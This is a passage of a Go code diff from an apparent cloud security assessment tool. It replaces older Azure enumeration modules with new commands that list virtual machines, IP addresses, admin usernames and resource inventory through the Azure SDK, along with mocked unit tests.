fmt.Printf("[-] Could not enumerate resource group %s. Skipping it. %s\n", resourceGroup, err)
} else {
for _, vm := range page.Values() {
vmData.subscriptionID = subscriptionID
vmData.resourceGroup = resourceGroup
vmData.name = ptr.ToString(vm.Name)
vmData.adminUsername = ptr.ToString(vm.VirtualMachineProperties.OsProfile.AdminUsername)
vmData.operatingSystem = ptr.ToString(vm.VirtualMachineProperties.StorageProfile.ImageReference.Offer) + " " + ptr.ToString(vm.VirtualMachineProperties.StorageProfile.ImageReference.Sku)
if vm.VirtualMachineProperties.NetworkProfile.NetworkInterfaces != nil {
for _, nic := range *vm.VirtualMachineProperties.NetworkProfile.NetworkInterfaces {
internalIP, externalIP := m.getNICInternalAndExternalIPs(nic, resourceGroup)
vmData.internalIPs = append(vmData.internalIPs, internalIP)
if externalIP != "" {
vmData.externalIPs = append(vmData.externalIPs, externalIP)
}
}
} else {
vmData.internalIPs = append(vmData.internalIPs, "Error: NICnotFound")
vmData.externalIPs = append(vmData.externalIPs, "Error: NICnotFound")
}
m.results = append(m.results, vmData)
vmData.internalIPs = nil
vmData.externalIPs = nil
}
}
}
}
func (m *InstancesMapModule) getNICInternalAndExternalIPs(nic compute.NetworkInterfaceReference, resourceGroup string) (internalIP string, externalIP string) {
var internal, external string
NICName := strings.Split(ptr.ToString(nic.ID), "/")[len(strings.Split(ptr.ToString(nic.ID), "/"))-1]
NICExpanded, err := m.nicClient.Get(context.TODO(), resourceGroup, NICName, "")
if err != nil {
return "Error: NICnotFound", "Error: NICnotFound"
}
if NICExpanded.InterfacePropertiesFormat.IPConfigurations != nil {
for _, ip := range *NICExpanded.InterfacePropertiesFormat.IPConfigurations {
internal = ptr.ToString(ip.InterfaceIPConfigurationPropertiesFormat.PrivateIPAddress)
if ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress != nil {
publicIPID := ptr.ToString(ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress.ID)
publicIPName := strings.Split(publicIPID, "/")[len(strings.Split(publicIPID, "/"))-1]
publicIPExpanded, err := m.publicIPClient.Get(context.TODO(), resourceGroup, publicIPName, "")
if err == nil {
external = ptr.ToString(publicIPExpanded.PublicIPAddressPropertiesFormat.IPAddress)
}
} else {
external = ""
}
}
}
return internal, external
}
-122
View File
@@ -1,122 +0,0 @@
package azure
import (
"context"
"log"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/compute/mgmt/compute"
"github.com/Azure/azure-sdk-for-go/profiles/latest/network/mgmt/network"
"github.com/Azure/go-autorest/autorest/azure/auth"
"github.com/aws/smithy-go/ptr"
"github.com/jedib0t/go-pretty/table"
)
// verbosity = 1 (control messages only).
// verbosity = 2 (control messages and module output).
// verbosity = 3 (control messages, module output and loot file output).
func GetInstancesDataPerResourceGroup(subscriptionID string, resourceGroup string) (table.Row, []table.Row) {
header := table.Row{"Name", "Location", "Admin User Name"}
var body []table.Row
log.Println("[*] Querying Azure for compute instances data...")
for _, vm := range GetComputeVMsPerResourceGroup(subscriptionID, resourceGroup) {
var adminUserName string
if vm.VirtualMachineProperties != nil && vm.OsProfile != nil {
adminUserName = ptr.ToString(vm.VirtualMachineProperties.OsProfile.AdminUsername)
}
body = append(
body,
table.Row{
ptr.ToString(vm.Name),
ptr.ToString(vm.Location),
adminUserName,
},
)
}
log.Println("[+] ...done!")
return header, body
}
func createComputeClient(subscriptionID string) compute.VirtualMachinesClient {
log.Printf("[*] Creating Compute client for subscription %s.", subscriptionID)
client := compute.NewVirtualMachinesClient(subscriptionID)
authorizer, err := auth.NewAuthorizerFromCLIWithResource("https://management.azure.com/")
if err != nil {
log.Fatalf("[-] Failed to obtain Authorizer to create the Compute client for subscription %s. Error: %s", subscriptionID, err)
}
client.Authorizer = authorizer
return client
}
var GetComputeVMsPerResourceGroup = getComputeVMsPerResourceGroup
// Use the GetComputeVMsPerResourceGroup variable to mock this function when unit testing.
func getComputeVMsPerResourceGroup(subscriptionID string, resourceGroup string) []compute.VirtualMachine {
log.Printf("[*] Enumerating resource group%s", resourceGroup)
computeClient := createComputeClient(subscriptionID)
var vms []compute.VirtualMachine
for page, err := computeClient.List(context.TODO(), resourceGroup); page.NotDone(); page.Next() {
if err != nil {
log.Fatalf("[-] Could not enumerate resource group %s. %s", resourceGroup, err)
} else {
vms = append(vms, page.Values()...)
}
}
return vms
}
func createNICClient(subscriptionID string) network.InterfacesClient {
log.Printf("[*] Creating NIC client for subscription %s.", subscriptionID)
client := network.NewInterfacesClient(subscriptionID)
authorizer, err := auth.NewAuthorizerFromCLIWithResource("https://management.azure.com/")
if err != nil {
log.Fatalf("[-] Failed to obtain Authorizer to create the Network Interfaces client for subscription %s. Error: %s", subscriptionID, err)
}
client.Authorizer = authorizer
return client
}
var GetNICdetails = getNICdetails
// Use the GetNICdetails variable to mock this function when unit testing.
func getNICdetails(subscriptionID string, resourceGroup string, nic compute.NetworkInterfaceReference) (network.Interface, error) {
client := createNICClient(subscriptionID)
NICName := strings.Split(ptr.ToString(nic.ID), "/")[len(strings.Split(ptr.ToString(nic.ID), "/"))-1]
NICExpanded, err := client.Get(context.TODO(), resourceGroup, NICName, "")
if err != nil {
return network.Interface{}, err
}
return NICExpanded, nil
}
func createPublicIPClient(subscriptionID string) network.PublicIPAddressesClient {
log.Printf("[*] Creating NIC client for subscription %s.", subscriptionID)
client := network.NewPublicIPAddressesClient(subscriptionID)
authorizer, err := auth.NewAuthorizerFromCLIWithResource("https://management.azure.com/")
if err != nil {
log.Fatalf("[-] Failed to obtain Authorizer to create the Public IPs client for subscription %s. Error: %s", subscriptionID, err)
}
client.Authorizer = authorizer
return client
}
var GetPublicIP = getPublicIP
// Use the GetPublicIP variable to mock this function when unit testing.
func getPublicIP(subscriptionID string, resourceGroup string, ip network.InterfaceIPConfiguration) (string, error) {
client := createPublicIPClient(subscriptionID)
publicIPID := ptr.ToString(ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress.ID)
publicIPName := strings.Split(publicIPID, "/")[len(strings.Split(publicIPID, "/"))-1]
publicIPProperties, err := client.Get(context.TODO(), resourceGroup, publicIPName, "")
if err != nil {
return "", err
}
return ptr.ToString(publicIPProperties.PublicIPAddressPropertiesFormat.IPAddress), nil
}
-123
View File
@@ -1,123 +0,0 @@
package azure
import (
"testing"
"github.com/Azure/azure-sdk-for-go/profiles/latest/compute/mgmt/compute"
"github.com/Azure/azure-sdk-for-go/profiles/latest/network/mgmt/network"
"github.com/aws/smithy-go/ptr"
)
func TestInstancesWithMockedData(t *testing.T) {
GetComputeVMsPerResourceGroup = func(subscriptionID, resourceGroup string) []compute.VirtualMachine {
return []compute.VirtualMachine{
{
Name: nil,
ID: nil,
Location: nil,
VirtualMachineProperties: nil,
Identity: nil,
},
{
Name: ptr.String("TestVM1_AAAAAAAAAAAAAAAAAAAA"),
ID: ptr.String("id-1234"),
Location: ptr.String("us-east1"),
VirtualMachineProperties: &compute.VirtualMachineProperties{
OsProfile: &compute.OSProfile{
ComputerName: ptr.String("HOME1"),
AdminUsername: ptr.String("admin"),
AdminPassword: ptr.String(""),
// Equivalent of User Data in AWS
// CustomData: ptr.String(""),
},
NetworkProfile: &compute.NetworkProfile{
NetworkInterfaces: nil,
},
},
Identity: &compute.VirtualMachineIdentity{
PrincipalID: ptr.String("11111111-1111-1111-1111-111111111112"),
TenantID: ptr.String("aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaaa"),
},
},
{
Name: ptr.String("TestVM2"),
ID: ptr.String("id-5678"),
Location: ptr.String("us-west-1_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
VirtualMachineProperties: &compute.VirtualMachineProperties{
OsProfile: &compute.OSProfile{
ComputerName: ptr.String("LAB1"),
AdminUsername: ptr.String("admin"),
AdminPassword: ptr.String(""),
},
NetworkProfile: &compute.NetworkProfile{
NetworkInterfaces: &[]compute.NetworkInterfaceReference{
{ID: nil},
{ID: nil},
},
},
},
Identity: &compute.VirtualMachineIdentity{
PrincipalID: ptr.String("11111111-1111-1111-1111-111111111113"),
TenantID: ptr.String("aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"),
},
},
{
Name: ptr.String("TestVM3"),
ID: ptr.String("id-9101112"),
Location: ptr.String("us-west-2"),
VirtualMachineProperties: &compute.VirtualMachineProperties{
OsProfile: &compute.OSProfile{
ComputerName: ptr.String("DATACENTER1"),
AdminUsername: ptr.String("admin_AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"),
AdminPassword: ptr.String(""),
},
NetworkProfile: &compute.NetworkProfile{
NetworkInterfaces: &[]compute.NetworkInterfaceReference{
{ID: ptr.String("/subscriptions/4cedc5dd-e3ad-468d-bf66-32e31bdb9148/resourceGroups/1-1d656534-playground-sandbox/providers/Microsoft.Network/networkInterfaces/test1391_z1")},
{ID: nil},
},
},
},
Identity: &compute.VirtualMachineIdentity{
PrincipalID: ptr.String("11111111-1111-1111-1111-111111111113"),
TenantID: ptr.String("bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"),
},
},
}
}
GetNICdetails = func(subscriptionID string, resourceGroup string, nic compute.NetworkInterfaceReference) (network.Interface, error) {
return network.Interface{
InterfacePropertiesFormat: &network.InterfacePropertiesFormat{
IPConfigurations: &[]network.InterfaceIPConfiguration{
{
InterfaceIPConfigurationPropertiesFormat: &network.InterfaceIPConfigurationPropertiesFormat{
PrivateIPAddress: ptr.String("192.168.0.1"),
PublicIPAddress: &network.PublicIPAddress{ID: nil},
},
},
{
InterfaceIPConfigurationPropertiesFormat: &network.InterfaceIPConfigurationPropertiesFormat{
PrivateIPAddress: ptr.String("192.168.0.1"),
PublicIPAddress: nil,
},
},
{
InterfaceIPConfigurationPropertiesFormat: &network.InterfaceIPConfigurationPropertiesFormat{
PrivateIPAddress: ptr.String("192.168.0.1"),
PublicIPAddress: &network.PublicIPAddress{ID: ptr.String("172.10.10.50")},
},
},
{
InterfaceIPConfigurationPropertiesFormat: nil,
},
{
InterfaceIPConfigurationPropertiesFormat: &network.InterfaceIPConfigurationPropertiesFormat{
PrivateIPAddress: nil,
PublicIPAddress: nil,
},
},
},
},
}, nil
}
}
+269
View File
@@ -0,0 +1,269 @@
package azure
import (
"context"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/compute/mgmt/compute"
"github.com/Azure/azure-sdk-for-go/profiles/latest/network/mgmt/network"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/resources"
"github.com/Azure/azure-sdk-for-go/profiles/latest/resources/mgmt/subscriptions"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzInstancesCommand(AzTenantID, AzSubscriptionID, AzOutputFormat, Version string, AzVerbosity int, AzWrapTable bool) error {
var header []string
var body [][]string
var outputDirectory, controlMessagePrefix string
if AzTenantID != "" && AzSubscriptionID == "" {
// ./cloudfox azure instances --tenant TENANT_ID
fmt.Printf("[%s][%s] Enumerating VMs for tenant %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_INSTANCES_MODULE_NAME), AzTenantID)
controlMessagePrefix = fmt.Sprintf("tenant-%s", AzTenantID)
outputDirectory = filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, globals.AZ_DIR_TEN, AzTenantID)
header, body = getVMsPerTenantID(AzTenantID)
} else if AzTenantID == "" && AzSubscriptionID != "" {
// ./cloudfox azure instances --subscription SUBSCRIPTION_ID
fmt.Printf("[%s][%s] Enumerating VMs for subscription %s\n", color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)), color.CyanString(globals.AZ_INSTANCES_MODULE_NAME), AzSubscriptionID)
controlMessagePrefix = fmt.Sprintf("subscription-%s", AzSubscriptionID)
outputDirectory = filepath.Join(globals.CLOUDFOX_BASE_DIRECTORY, globals.AZ_DIR_BASE, globals.AZ_DIR_SUB, AzSubscriptionID)
header, body = getVMsPerSubscriptionID(AzSubscriptionID)
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
}
fileNameWithoutExtension := globals.AZ_INSTANCES_MODULE_NAME
if body != nil {
internal.OutputSelector(AzVerbosity, AzOutputFormat, header, body, outputDirectory, fileNameWithoutExtension, globals.AZ_INSTANCES_MODULE_NAME, AzWrapTable, controlMessagePrefix)
}
return nil
}
func getVMsPerTenantID(AzTenantID string) ([]string, [][]string) {
var resultsHeader []string
var resultsBody, b [][]string
var err error
for _, s := range GetSubscriptionsPerTenantID(AzTenantID) {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
resultsHeader, b, err = getComputeRelevantData(s, rg)
if err != nil {
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_INSTANCES_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
} else {
resultsBody = append(resultsBody, b...)
}
}
}
return resultsHeader, resultsBody
}
func getVMsPerSubscriptionID(AzSubscriptionID string) ([]string, [][]string) {
var resultsHeader []string
var resultsBody, b [][]string
var err error
for _, s := range getSubscriptions() {
if ptr.ToString(s.SubscriptionID) == AzSubscriptionID {
for _, rg := range getResourceGroups(ptr.ToString(s.SubscriptionID)) {
resultsHeader, b, err = getComputeRelevantData(s, rg)
if err != nil {
fmt.Printf("[%s] Could not enumerate VMs for resource group %s in subscription %s\n", color.CyanString(globals.AZ_INSTANCES_MODULE_NAME), ptr.ToString(rg.Name), ptr.ToString(s.SubscriptionID))
} else {
resultsBody = append(resultsBody, b...)
}
}
}
}
return resultsHeader, resultsBody
}
func getComputeRelevantData(sub subscriptions.Subscription, rg resources.Group) ([]string, [][]string, error) {
header := []string{"Subscription ID", "VM Name", "VM Location", "Private IPs", "Public IPs", "Admin Username", "Resource Group Name"}
var body [][]string
subscriptionID := ptr.ToString(sub.SubscriptionID)
resourceGroupName := ptr.ToString(rg.Name)
vms, err := getComputeVMsPerResourceGroup(subscriptionID, resourceGroupName)
if err != nil {
return nil, nil, fmt.Errorf("error fetching vms for resource group %s: %s", resourceGroupName, err)
}
for _, vm := range vms {
var adminUsername string
if vm.VirtualMachineProperties != nil && vm.OsProfile != nil {
adminUsername = ptr.ToString(vm.OsProfile.AdminUsername)
}
privateIPs, publicIPs := getIPs(ptr.ToString(sub.SubscriptionID), ptr.ToString(rg.Name), vm)
body = append(
body,
[]string{
subscriptionID,
ptr.ToString(vm.Name),
ptr.ToString(vm.Location),
strings.Join(privateIPs, "\n"),
strings.Join(publicIPs, "\n"),
adminUsername,
ptr.ToString(rg.Name),
},
)
}
return header, body, nil
}
var getComputeVMsPerResourceGroup = getComputeVMsPerResourceGroupOriginal
func getComputeVMsPerResourceGroupOriginal(subscriptionID string, resourceGroup string) ([]compute.VirtualMachine, error) {
computeClient := internal.GetVirtualMachinesClient(subscriptionID)
var vms []compute.VirtualMachine
for page, err := computeClient.List(context.TODO(), resourceGroup, ""); page.NotDone(); page.Next() {
if err != nil {
return nil, fmt.Errorf("could not enumerate resource group %s. %s", resourceGroup, err)
} else {
vms = append(vms, page.Values()...)
}
}
return vms, nil
}
func mockedGetComputeVMsPerResourceGroup(subscriptionID, resourceGroup string) ([]compute.VirtualMachine, error) {
testFile, err := os.ReadFile(globals.VMS_TEST_FILE)
if err != nil {
return nil, fmt.Errorf("could not read file %s", globals.VMS_TEST_FILE)
}
var vms []compute.VirtualMachine
err = json.Unmarshal(testFile, &vms)
if err != nil {
return nil, fmt.Errorf("could not unmarshall file %s", globals.VMS_TEST_FILE)
}
var results []compute.VirtualMachine
for _, vm := range vms {
vmSub := strings.Split(ptr.ToString(vm.ID), "/")[2]
vmRG := strings.Split(ptr.ToString(vm.ID), "/")[4]
if vmSub == subscriptionID && vmRG == resourceGroup {
results = append(results, vm)
}
}
return results, nil
}
func getIPs(subscriptionID string, resourceGroup string, vm compute.VirtualMachine) ([]string, []string) {
var privateIPs, publicIPs []string
if vm.VirtualMachineProperties.NetworkProfile.NetworkInterfaces != nil {
for _, nicReference := range *vm.VirtualMachineProperties.NetworkProfile.NetworkInterfaces {
nic, err := getNICdetails(subscriptionID, resourceGroup, nicReference)
if err != nil {
return []string{err.Error()}, []string{err.Error()}
}
if nic.InterfacePropertiesFormat.IPConfigurations != nil {
for _, ip := range *nic.InterfacePropertiesFormat.IPConfigurations {
privateIPs = append(
privateIPs,
ptr.ToString(
ip.InterfaceIPConfigurationPropertiesFormat.PrivateIPAddress))
publicIP, err := getPublicIP(subscriptionID, resourceGroup, ip)
if err != nil {
publicIPs = append(publicIPs, err.Error())
} else {
publicIPs = append(publicIPs, ptr.ToString(publicIP))
}
}
}
}
}
return privateIPs, publicIPs
}
var getNICdetails = getNICdetailsOriginal
func getNICdetailsOriginal(subscriptionID string, resourceGroup string, nicReference compute.NetworkInterfaceReference) (network.Interface, error) {
client := internal.GetNICClient(subscriptionID)
NICName := strings.Split(ptr.ToString(nicReference.ID), "/")[len(strings.Split(ptr.ToString(nicReference.ID), "/"))-1]
nic, err := client.Get(context.TODO(), resourceGroup, NICName, "")
if err != nil {
return network.Interface{}, fmt.Errorf("NICnotFound_%s", NICName)
}
return nic, nil
}
func mockedGetNICdetails(subscriptionID, resourceGroup string, nicReference compute.NetworkInterfaceReference) (network.Interface, error) {
testFile, err := os.ReadFile(globals.NICS_TEST_FILE)
if err != nil {
return network.Interface{}, fmt.Errorf("NICnotFound_%s", globals.NICS_TEST_FILE)
}
var nics []network.Interface
err = json.Unmarshal(testFile, &nics)
if err != nil {
return network.Interface{}, fmt.Errorf("NICnotFound_%s", globals.NICS_TEST_FILE)
}
for _, nic := range nics {
if ptr.ToString(nic.ID) == ptr.ToString(nicReference.ID) {
return nic, nil
}
}
return network.Interface{}, fmt.Errorf("NICnotFound_%s", ptr.ToString(nicReference.ID))
}
var getPublicIP = getPublicIPOriginal
func getPublicIPOriginal(subscriptionID string, resourceGroup string, ip network.InterfaceIPConfiguration) (*string, error) {
client := internal.GetPublicIPClient(subscriptionID)
if ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress == nil {
return nil, fmt.Errorf("NoPublicIP")
}
publicIPID := ptr.ToString(ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress.ID)
publicIPName := strings.Split(publicIPID, "/")[len(strings.Split(publicIPID, "/"))-1]
publicIPExpanded, err := client.Get(context.TODO(), resourceGroup, publicIPName, "")
if err != nil {
return nil, fmt.Errorf("NoPublicIP")
}
return publicIPExpanded.PublicIPAddressPropertiesFormat.IPAddress, nil
}
func mockedGetPublicIP(subscriptionID, resourceGroup string, ip network.InterfaceIPConfiguration) (*string, error) {
f, err := os.ReadFile(globals.PUBLIC_IPS_TEST_FILE)
if err != nil {
return nil, fmt.Errorf("IPNotFound_%s", globals.PUBLIC_IPS_TEST_FILE)
}
var ips []network.PublicIPAddress
err = json.Unmarshal(f, &ips)
if err != nil {
return nil, fmt.Errorf("IPNotFound_%s", globals.PUBLIC_IPS_TEST_FILE)
}
publicIPID := ptr.ToString(ip.InterfaceIPConfigurationPropertiesFormat.PublicIPAddress.ID)
publicIPName := strings.Split(publicIPID, "/")[len(strings.Split(publicIPID, "/"))-1]
// replace this switch for a for loop
for _, ip := range ips {
if ptr.ToString(ip.ID) == publicIPID {
return ip.PublicIPAddressPropertiesFormat.IPAddress, nil
}
}
return nil, fmt.Errorf("IPNotFound_%s", publicIPName)
}
+90
View File
@@ -0,0 +1,90 @@
package azure
import (
"fmt"
"log"
"testing"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
)
func TestAzInstancesCommand(t *testing.T) {
fmt.Println()
fmt.Println("[test case] Azure Instances Command")
// Test case parameters
internal.MockFileSystem(true)
subtests := []struct {
name string
azTenantID string
azSubscriptionID string
azVerbosity int
azOutputFormat string
version string
resourcesTestFile string
vmsTestFile string
nicsTestFile string
publicIPsTestFile string
wrapTableOutput bool
}{
{
name: "./cloudfox azure instances --tenant 11111111-1111-1111-1111-11111111",
azTenantID: "11111111-1111-1111-1111-11111111",
azSubscriptionID: "",
azVerbosity: 2,
azOutputFormat: "all",
version: "DEV",
resourcesTestFile: "./test-data/resources.json",
vmsTestFile: "./test-data/vms.json",
nicsTestFile: "./test-data/nics.json",
publicIPsTestFile: "./test-data/public-ips.json",
wrapTableOutput: false,
},
{
name: "./cloudfox azure instances --subscription AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
azTenantID: "",
azSubscriptionID: "AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAA",
azVerbosity: 2,
azOutputFormat: "all",
version: "DEV",
resourcesTestFile: "./test-data/resources.json",
vmsTestFile: "./test-data/vms.json",
nicsTestFile: "./test-data/nics.json",
publicIPsTestFile: "./test-data/public-ips.json",
wrapTableOutput: false,
},
{
name: "./cloudfox azure instances",
azVerbosity: 2,
azOutputFormat: "all",
version: "DEV",
resourcesTestFile: "./test-data/resources.json",
vmsTestFile: "./test-data/vms.json",
nicsTestFile: "./test-data/nics.json",
publicIPsTestFile: "./test-data/public-ips.json",
wrapTableOutput: false,
},
}
// Mocked functions to simulate Azure calls and responses
getSubscriptions = mockedGetSubscriptions
getResourceGroups = mockedGetResourceGroups
getComputeVMsPerResourceGroup = mockedGetComputeVMsPerResourceGroup
getNICdetails = mockedGetNICdetails
getPublicIP = mockedGetPublicIP
for _, s := range subtests {
fmt.Println()
fmt.Printf("[subtest] %s\n", s.name)
globals.RESOURCES_TEST_FILE = s.resourcesTestFile
globals.VMS_TEST_FILE = s.vmsTestFile
globals.NICS_TEST_FILE = s.nicsTestFile
globals.PUBLIC_IPS_TEST_FILE = s.publicIPsTestFile
err := AzInstancesCommand(s.azTenantID, s.azSubscriptionID, s.azOutputFormat, s.version, 2, s.wrapTableOutput)
if err != nil {
log.Fatalf(err.Error())
}
}
}
+130
View File
@@ -0,0 +1,130 @@
package azure
import (
"context"
"fmt"
"path/filepath"
"sort"
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
"github.com/fatih/color"
"github.com/kyokomi/emoji"
)
func AzInventoryCommand(AzTenantID, AzSubscriptionID, Version string, AzVerbosity int, AzWrapTable bool) error {
o := internal.OutputClient{
Verbosity: AzVerbosity,
CallingModule: globals.AZ_INVENTORY_MODULE_NAME,
Table: internal.TableClient{
Wrap: AzWrapTable,
},
}
if AzTenantID != "" && AzSubscriptionID == "" {
// To-Do: implement per tentant
fmt.Println("Inventory per tenant not yet implemented. Please use the --subscription flag instead.")
} else if AzTenantID == "" && AzSubscriptionID != "" {
// ./cloudfox azure storage --subscription SUBSCRIPTION_ID
fmt.Printf(
"[%s][%s] Gathering inventory for subscription %s\n",
color.CyanString(emoji.Sprintf(":fox:cloudfox %s :fox:", Version)),
color.CyanString(o.CallingModule),
AzSubscriptionID)
AzTenantID := ptr.ToString(GetTenantIDPerSubscription(AzSubscriptionID))
header, body, err := prepareInventoryTable(AzTenantID, AzSubscriptionID)
if err != nil {
return err
}
o.Table.TableFiles = append(o.Table.TableFiles,
internal.TableFile{
Header: header,
Body: body,
Name: globals.AZ_INVENTORY_MODULE_NAME})
o.PrefixIdentifier = fmt.Sprintf("subscription-%s", AzSubscriptionID)
o.Table.DirectoryName = filepath.Join(
globals.CLOUDFOX_BASE_DIRECTORY,
globals.AZ_DIR_BASE,
"subscriptions",
AzSubscriptionID)
} else {
// Error: please make a valid flag selection
fmt.Println("Please enter a valid input with a valid flag. Use --help for info.")
}
o.WriteFullOutput(o.Table.TableFiles, nil)
return nil
}
func prepareInventoryTable(tenantID, subscriptionID string) ([]string, [][]string, error) {
resources, err := getResources(tenantID, subscriptionID)
if err != nil {
return nil, nil, err
}
inventory := make(map[string]map[string]int)
resourceTypes := make(map[string]bool)
resourceLocations := make(map[string]bool)
for _, resource := range resources {
resourceType := ptr.ToString(resource.Type)
resourceLocation := ptr.ToString(resource.Location)
_, ok := inventory[resourceType]
if !ok {
inventory[resourceType] = make(map[string]int)
}
inventory[resourceType][resourceLocation]++
resourceTypes[resourceType] = true
resourceLocations[resourceLocation] = true
}
header := []string{"Resource Type"}
var body [][]string
for location := range resourceLocations {
header = append(header, location)
}
for t := range resourceTypes {
row := []string{t}
for location := range resourceLocations {
count, ok := inventory[t][location]
if ok {
row = append(row, fmt.Sprintf("%d", count))
} else {
row = append(row, "-")
}
}
body = append(body, row)
}
sort.Slice(body, func(i, j int) bool {
return body[i][0] < body[j][0]
})
return header, body, nil
}
func getResources(tenantID, subscriptionID string) ([]*armresources.GenericResourceExpanded, error) {
client := internal.GetARMresourcesClient(tenantID, subscriptionID)
var resources []*armresources.GenericResourceExpanded
pager := client.NewListPager(nil)
for pager.More() {
nextResult, err := pager.NextPage(context.TODO())
if err != nil {
return nil, err
}
resources = append(resources, nextResult.Value...)
}
return resources, nil
}
+85
View File
@@ -0,0 +1,85 @@
package azure
import (
"context"
"fmt"
"sort"
"testing"
"github.com/Azure/azure-sdk-for-go/sdk/azidentity"
"github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/smithy-go/ptr"
)
func TestAzInventoryPoC(t *testing.T) {
// Using the new version implementation
// https://github.com/Azure/azure-sdk-for-go/blob/main/documentation/MIGRATION_GUIDE.md
tenantID := ""
subscriptionID := ""
cred, err := azidentity.NewAzureCLICredential(&azidentity.AzureCLICredentialOptions{TenantID: tenantID})
if err != nil {
return
}
client, err := armresources.NewClient(subscriptionID, cred, nil)
if err != nil {
return
}
var resources []*armresources.GenericResourceExpanded
pager := client.NewListPager(nil)
for pager.More() {
nextResult, err := pager.NextPage(context.TODO())
if err != nil {
return
}
resources = append(resources, nextResult.Value...)
}
inventory := make(map[string]map[string]int)
resourceTypes := make(map[string]bool)
resourceLocations := make(map[string]bool)
for _, resource := range resources {
resourceType := ptr.ToString(resource.Type)
resourceLocation := ptr.ToString(resource.Location)
_, ok := inventory[resourceType]
if !ok {
inventory[resourceType] = make(map[string]int)
}
inventory[resourceType][resourceLocation]++
resourceTypes[resourceType] = true
resourceLocations[resourceLocation] = true
}
header := []string{"Resource Type"}
var body [][]string
for location := range resourceLocations {
header = append(header, location)
}
for t := range resourceTypes {
row := []string{t}
for location := range resourceLocations {
count, ok := inventory[t][location]
if ok {
row = append(row, fmt.Sprintf("%d", count))
} else {
row = append(row, "-")
}
}
body = append(body, row)
}
sort.Slice(body, func(i, j int) bool {
return body[i][0] < body[j][0]
})
internal.MockFileSystem(true)
internal.OutputSelector(2, "table", header, body, ".", "test.txt", "inventory", true, "sub-11111111-1111-11111-1111-1111111111111111")
}
-200
View File
@@ -1,200 +0,0 @@
package azure
import (
"context"
"fmt"
"strings"
"github.com/Azure/azure-sdk-for-go/profiles/latest/authorization/mgmt/authorization"
"github.com/Azure/azure-sdk-for-go/services/graphrbac/1.6/graphrbac"
"github.com/BishopFox/cloudfox/utils"
"github.com/aws/smithy-go/ptr"
)
const RBACcallingModuleName = "rbac"
type RBACMapModule struct {
// Tenants, Subs and RGs: map[TenantID]map[SubscriptionID][]ResourceGroups
Scope map[string]map[string][]string
// Module's Results
Users map[string]userObject
Roles map[string]roleDefinitionObject
RoleAssignments []roleAssignmentObject
// Used to store output data for pretty printing
}
func (m *RBACMapModule) RBACMap(verbosity int, outputFormat string, outputDirectory string, userFilter string) {
m.getADUsers()
m.getRoleDefinitions()
m.getRoleAssignments()
m.printRoleAssginments(verbosity, outputFormat, outputDirectory, userFilter)
}
func (m *RBACMapModule) printRoleAssginments(verbosity int, outputFormat string, outputDirectory string, userFilter string) {
// Prepare table headers
header := []string{
"PRINCIPAL_NAME",
"PRINCIPAL_ID",
"PRINCIPAL_TYPE",
"ROLE_NAME",
"SCOPE_LEVEL",
"SCOPE_NAME",
}
// Prepare table body
var body [][]string
for _, result := range m.RoleAssignments {
if userFilter == "all" || userFilter == result.principalDisplayName {
body = append(
body, []string{
result.principalDisplayName,
result.principalID,
result.principalType,
result.roleName,
result.scopeLevel,
result.scopeLevelName,
},
)
}
}
// Pretty prints output
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(
verbosity,
outputFormat,
header,
body,
outputDirectory,
"rbac",
RBACcallingModuleName,
)
}
type userObject struct {
displayName string
}
func (m *RBACMapModule) getADUsers() {
m.Users = make(map[string]userObject)
for tenantID := range m.Scope {
// Scope: Tenant
client := graphrbac.NewUsersClient(tenantID)
client.Authorizer = utils.AzNewGraphAuthorizer(tenantID)
fmt.Printf("[*] Entering tenant: %s\n", tenantID)
for page, err := client.List(context.TODO(), "", ""); page.NotDone(); page.Next() {
if err != nil {
fmt.Printf("[-] Could not enumerate users for tenant %s. Skipping it. %s\n", tenantID, err)
continue
}
fmt.Printf("[*] Enumerating %v users...\n", len(page.Values()))
for _, user := range page.Values() {
m.Users[ptr.ToString(user.ObjectID)] = userObject{
displayName: ptr.ToString(user.DisplayName),
}
}
}
fmt.Printf("[*] Done!\n")
}
}
type roleDefinitionObject struct {
displayName string
}
func (m *RBACMapModule) getRoleDefinitions() {
m.Roles = make(map[string]roleDefinitionObject)
authorizer := utils.AzNewResourceManagerAuthorizer()
for _, subscriptions := range m.Scope {
// Scope: Tenant
for sub := range subscriptions {
// Scope: Subscription
